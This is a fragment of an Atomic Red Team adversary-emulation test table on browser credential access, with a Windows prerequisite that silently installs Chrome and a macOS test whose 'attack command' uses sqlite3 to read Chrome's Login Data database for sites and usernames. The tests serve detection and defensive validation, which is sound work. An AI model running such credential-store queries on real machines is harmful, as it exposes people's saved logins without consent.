Prerequisite Chrome must be installed Check if ((Test-Path "C:\Program Files\Google\Chrome\Application\chrome.exe") -Or (Test-Path "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe")) {exit 0} else {exit 1}Satisfy New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null $installer = "PathToAtomicsFolder\..\ExternalPayloads\ChromeStandaloneSetup64.msi" Invoke-WebRequest -OutFile "PathToAtomicsFolder\..\ExternalPayloads\ChromeStandaloneSetup64.msi" https://dl.google.com/chrome/install/googlechromestandaloneenterprise64.msi msiexec /i $installer /qn Start-Process -FilePath "chrome.exe" Stop-Process -Name "chrome" GUIDb12cf8b5-8873-440a-b3dd-52484bb2b1ec | ||||||||||||||||||||||||||||||||
| 18 | Query Chrome Login Data In Place with sqlite3 - MacOS | macos | sh | — | 1 | Yes | ||||||||||||||||||||||||||
Reads Google Chrome's Input arguments
Attack command sqlite3 "file:$HOME/Library/Application Support/Google/Chrome/#{chrome_profile}/Login Data?immutable=1" "SELECT origin_url, username_value FROM logins;" > "#{output_file}"
cat "#{output_file}"
Cleanup command rm -f "#{output_file}"
Prerequisite Chrome's Login Data database must exist for profile #{chrome_profile} Check if [ -f "$HOME/Library/Application Support/Google/Chrome/#{chrome_profile}/Login Data" ]; then exit 0; else exit 1; fi
Satisfy brew install --cask google-chrome xattr -d com.apple.quarantine "/Applications/Google Chrome.app" open -a "Google Chrome" && sleep 5 && killall -KILL "Google Chrome" GUIDdc90a038-9650-4dd0-93c0-56d8aa7fe272 | ||||||||||||||||||||||||||||||||
Tests from Atomic Red Team (MIT licence) · technique definition